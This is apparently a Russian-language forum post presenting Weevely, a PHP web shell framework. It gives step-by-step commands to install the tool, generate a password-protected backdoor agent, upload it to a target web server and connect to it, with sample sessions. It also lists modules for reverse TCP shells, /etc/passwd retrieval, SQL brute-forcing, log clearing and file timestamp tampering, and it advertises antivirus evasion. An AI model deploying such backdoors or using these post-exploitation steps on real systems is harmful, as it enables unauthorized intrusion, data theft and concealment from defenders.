Weevely

\kout

Местный
29
102
18 Май 2017
Описание Weevely

Weevely – это веб-шелл командной строки, динамически распространяемый по сети во время выполнения, предназначен для удалённого администрирования и тестирования на проникновение. Просто закиньте PHP скрипт, и программа обеспечит похожий на ssh терминал даже в ограниченном окружении.

Оставляющий мало следов агент и более 30 модулей формируют расширяемый вреймворк для администрирования веб-аккаунтов, пост эксплуатационного повышения привилегий веб-серверов и латерального продвижения по сети.

Функции модулей:

  • Похожий на SSH терминал
  • Запуск SQL консоли, завёрнутой на цель
  • Пропуск HTTP трафика до цели через прокси
  • Аудит безопасности настройки хоста
  • Локальное монтирование целевой файловой системы
  • Проведение сетевых сканирований завёрнутых на цель
  • Выгрузка и загрузка файлов
  • Порождение обратного и прямого TCP шелла
  • Брут-форс внутренних служб
  • Управление сжатыми архивами
  • Агент бэкдора
Удалённым агентом является маленький PHP скрипт, которые может расширять свою функциональность по сети в реальном времени. Код агента является полиморфным, трудно выявляемым антивирусами, а трафик внутри HTTP запросов обфусцирован.

Установка Weevely в Linux
Установка необходимых пакетов:
sudo apt-get install g++ python-pip libyaml-dev python-dev

Установка зависимостей:
sudo pip install prettytable Mako PyYAML python-dateutil PySocks --upgrade

Скачиваем файлы программы:
git clone Для просмотра ссылки Войди или Зарегистрируйся
cd weevely3/
python2 ./weevely.py

Установка Weevely в OS X
Следующие примеры выполнялись на OS X с системой пакетов Для просмотра ссылки Войди или Зарегистрируйся.
sudo port install python27 py27-pip
sudo port select --set pip pip27
sudo port select --set python python27

В идеале, на этом этапе вам следует установить библиотеку editline (Для просмотра ссылки Войди или Зарегистрируйся) чтобы получить рабочий авто завершитель строк в терминале.
sudo pip install prettytable Mako PyYAML python-dateutil readline PySocks --upgrade

Установка Weevely в Windows

Следующие примеры выполнены на Microsoft Windows 7 с Python версии 2.7. Весьма вероятно, они будут работать и на других версиях Windows. Самое первое, установите Python 2.7 и менеджер пакетов pip используя ez_setup.py как объяснено в Для просмотра ссылки Войди или Зарегистрируйся инструкции.

Войдите в папку, которая позволяет вызвать pip.exe, обычно это C:\Python27\Scripts\ если не установлен %PATH% установите следующие зависимости

> pip install prettytable Mako PyYAML python-dateutil pyreadline PySocks --upgrade

Справка по Weevely
использование:
weevely [-h] {terminal,session,generate} ...

позиционные аргументы:
{terminal,session,generate}
terminal Запустить терминал
session Восстановить существующий файл сеанса
generate Сгенерировать новый пароль

optional arguments:
-h, --help показать справку и выйти

Первый запуск Weevely

Генерация агента бэкдора

Для генерации нового агента, просто используйте опцию generate, передайте пароль и путь до файла в качестве аргументов.

./weevely.py generate mypassword ~/agent.php
Generated backdoor with password 'mypassword' in 'agent.php' of 1469 byte size.

Затем, выгрузите сгенерированный агент в веб папку цели. Убедитесь, что скрипт доступен и может исполняться на веб-сервере.

Подключение к агенту

Запустите скрипт weevely для подключения к удалённому агенту.

./weevely.py Для просмотра ссылки Войди или Зарегистрируйся mypassword
weevely>

Первое приглашение weevely> означает, что ещё отсутствует подключение, перед подключением вы можете установить полезные опции, такие как использование прокси. Запуск реальных команд автоматически запустит сессию на удалённую цель.

weevely> ls
agent.php
index.html
joomla-3.2.1
www-data@target:/var/www $ cd ..
www-data@target:/var/ $ whoami
www-data
www-data@target:/var/ $ uname -a
Linux ubuntu 3.2.0-65-generic 99-Ubuntu SMP Fri Jul 4 21:04:27 UTC 2014 i686 i686 i386 GNU/Linux
www-data@target:/var/ $

Доступные команды:

:audit_filesystem Аудит файловой системы на неверные разрешения.
:audit_etcpasswd Различными техниками получить /etc/passwd.
:audit_linuxprivchecker Выгрузить и выполнить linuxprivchecker
:audit_disablefunctionbypass Обход ограничений системных disable_function через mod_cgi и .htaccess
:audit_suidsgid Поиск файлов с флагами SUID или SGID.
:audit_phpconf Аудит PHP конфигурации.
:shell_sh Выполнить Shell команды.
:shell_su Повышение привилегий с su командой.
:shell_php Выполнить PHP команды.
:system_info Собрать информацию о системе.
:system_extensions Собрать список расширений PHP и веб-сервера.
:backdoor_tcp Породить шелл на TCP порту.
:backdoor_reversetcp Выполнить обратный TCP шелл.
:bruteforce_sql Брутфорс базы данных SQL.
:file_rm Удалить удалённый файл.
:file_download Загрузить файл из удалённой файловой системы.
:file_webdownload Загрузить URL на файловую систему
:file_cd Изменить текущую рабочую директорию.
:file_edit Редактировать удалённый файл в локальном редакторе.
:file_upload Выгрузить файл на удалённую файловую систему.
:file_ls Список содержимого директории.
:file_upload2web Выгрузить файл автоматически в веб-папку и получить соответствующий URL.
:file_mount Смонтировать удалённую файловую систему используя HTTPfs.
:file_enum Проверить существования и разрешения списка путей.
:file_bzip2 Сжать или разжать bzip2 файлы.
:file_clearlog Простая очистка лога
:file_grep Напечатать строки, соответствующие образцу, из множества файлов.
:file_find Найти файлы с данными именами и атрибутами.
:file_check Получить информацию об удалённом файле.
:file_tar Сжать или разжать tar архивы.
:file_zip Сжать или разжать zip файлы.
:file_touch Изменить временную метку файла.
:file_gzip Сжать или разжать gzip файлы.
:file_cp Копировать единичный файл.
:file_read Прочитать удалённый файл из удалённой файловой системы.
:sql_console Выполнить SQL запрос или запустить консоль.
:sql_dump Множественная замена СУБД mysqldump.
:net_phpproxy Установка PHP прокси на цель.
:net_mail Отправить письмо.
:net_curl Выполнить запрос в стиле a curl HTTP.
:net_scan Сканирование портов TCP.
:net_proxy Пропускать через прокси локальный HTTP трафик проходящий через цель.
:net_ifconfig Получить адреса сетевых интерфейсов.

Примеры запуска Weevely
Сгенерировать PHP бэкдор (generate) и сохранить в директорию пользователя в файл (~/index2.php) защищённый данным паролем (s3cr3t).

weevely generate s3cr3t ~/index2.php
Generated backdoor with password 's3cr3t' in '/home/mial/index2.php' of 1325 byte size.

Подключиться к удалённому бэкдору, размещённому по адресу (Для просмотра ссылки Войди или Зарегистрируйся) с данным паролем (s3cr3t).

weevely Для просмотра ссылки Войди или Зарегистрируйся s3cr3t